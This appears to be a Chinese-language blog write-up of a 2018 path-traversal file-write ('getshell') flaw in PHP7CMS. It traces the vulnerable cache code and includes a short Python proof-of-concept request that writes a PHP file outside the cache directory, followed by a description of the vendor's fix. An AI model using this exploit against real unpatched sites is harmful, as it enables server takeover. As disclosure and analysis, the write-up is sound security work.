php7 cms,PHP7CMS 无条件前台GETSHELL
Version:2018-10-09
//最新版中以修復此漏洞
這個漏洞很簡單,如果作者在寫代碼的時候考慮到一點點安全方面,其實都可以避免的。
[PHP] 純文本查看 復制代碼// php7cms/Core/Controllers/Api/Api.php
// 52~61 line
public function save_form_data() {
$rt = \Phpcmf\Service::L('cache')->init('file')->save(
\Phpcmf\Service::L('Input')->get('name'),
\Phpcmf\Service::L('Input')->post('data'),
7200
);
var_dump($rt);
exit;
}
調用了Cache類中 init 函數,參數分別為get(‘name’)和post(‘data’)。
[PHP] 純文本查看 復制代碼// php7cms/Fcms/Library/Cache.php
// 112~121 line
public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {
$config = new \Config\Cache();
$config->handler = 'file';
$config->prefix = $prefix;
!$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';
$config->path = WRITEPATH.'caching/';
$cache = \Config\Services::cache($config, 0);
return $cache;
}
初始化緩存類,為prefix參數拼接字符串后直接無任何過濾直接傳入CI框架的緩存類中,中間框架的執行流程就不在文章里寫了。
直接看最后一步
[PHP] 純文本查看 復制代碼// php7cms/System/Cache/Handlers
// 107~125 line
public function save(string $key, $value, int $ttl = 60)
{
$key = $this->prefix . $key;
$contents = [
'time' => time(),
'ttl' => $ttl,
'data' => $value,
];
if ($this->writeFile($this->path . $key, serialize($contents)))
{
chmod($this->path . $key, 0640);
return true;
}
return false;
}
[PHP] 純文本查看 復制代碼//324~345 line
protected function writeFile($path, $data, $mode = 'wb')
{
if (($fp = @fopen($path, $mode)) === false)
{
return false;
}
flock($fp, LOCK_EX);
for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)
{
if (($result = fwrite($fp, substr($data, $written))) === false)
{
break;
}
}
flock($fp, LOCK_UN);
fclose($fp);
return is_int($result);
}
直接寫入到緩存目錄中,其中并沒有過濾”.”和”/”,可以跨目錄寫入。所以不需要考慮路由問題。
POC:
[PHP] 純文本查看 復制代碼from requests import post
postData = {
'data':'<?php phpinfo()?>'
}
postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)
-1.png (123.79 KB, 下載次數: 23)
2018-12-14 13:05 上傳
新版修復:
3.png (27.21 KB, 下載次數: 28)
2018-12-14 13:07 上傳
首先給dr_safe_replace 參數增加了兩個新的過濾條件 ” . “和 ” ‘ “,在原本漏洞出發點接收get值的時候用這個函數過濾。
03.png (35.6 KB, 下載次數: 26)
2018-12-14 13:07 上傳
總結
以上是生活随笔為你收集整理的php7 cms,PHP7CMS 无条件前台GETSHELL的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: epic登陆按钮一直在转_双剑合璧!GO
- 下一篇: php阴影效果,如何使用css3实现文字